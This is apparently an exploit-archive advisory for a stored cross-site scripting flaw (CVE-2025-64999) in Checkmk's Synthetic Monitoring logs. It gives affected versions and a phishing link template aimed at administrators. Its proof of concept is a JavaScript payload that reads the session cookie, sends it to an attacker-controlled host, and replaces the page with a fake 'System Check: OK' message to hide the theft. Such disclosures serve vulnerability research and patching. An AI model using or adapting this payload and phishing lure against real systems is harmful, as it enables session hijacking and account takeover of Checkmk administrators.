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| # Title     : Checkmk ≤ 2.4.0p21 / ≤ 2.3.0p42 Synthetic Monitoring Logs – Stored XSS                                                      |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
| # Vendor    : https://checkmk.com                                                                                                         |
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[+] Summary    :  CVE-2025-64999 A vulnerability due to improper neutralization of user-controlled input affects Checkmk versions:

2.4.0 before 2.4.0p22

2.3.0 before 2.3.0p43

The issue allows an attacker who can manipulate a host’s check output to inject malicious JavaScript into the Synthetic Monitoring HTML logs. When a victim accesses these logs — potentially via a crafted phishing link — the injected script executes in the context of the authenticated Checkmk session.

Successful exploitation may result in:

Session hijacking

Account takeover

Unauthorized actions within the Checkmk interface

Data exfiltration

The vulnerability is classified as Stored Cross-Site Scripting (Stored XSS) because the malicious payload is stored within monitoring logs and executed when viewed.

[+] POC   :  

Link Crafting

The attacker creates a seemingly legitimate and legitimate link to trick the system administrator into clicking it:

https://<CHKMK_URL>/<SITE>/check_mk/robotmk_suite_report.py?site=<SITE>&host=<TARGET_HOST>&service=<SERVICE_NAME>&log_type=ok

Once the administrator (with an active session) clicks the link, the "unprotected" reports page loads.

The browser reads the injected JavaScript code and executes it immediately with administrator privileges.

<script>

    var xhr = new XMLHttpRequest();
    var sensitiveData = btoa(document.cookie); 
    xhr.open("GET", "https://attacker-controlled-site.com/log?data=" + sensitiveData, true);
    xhr.send();
    document.body.innerHTML = "<h1>System Check: OK</h1><p>All services are running normally.</p>";
</script>
	
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
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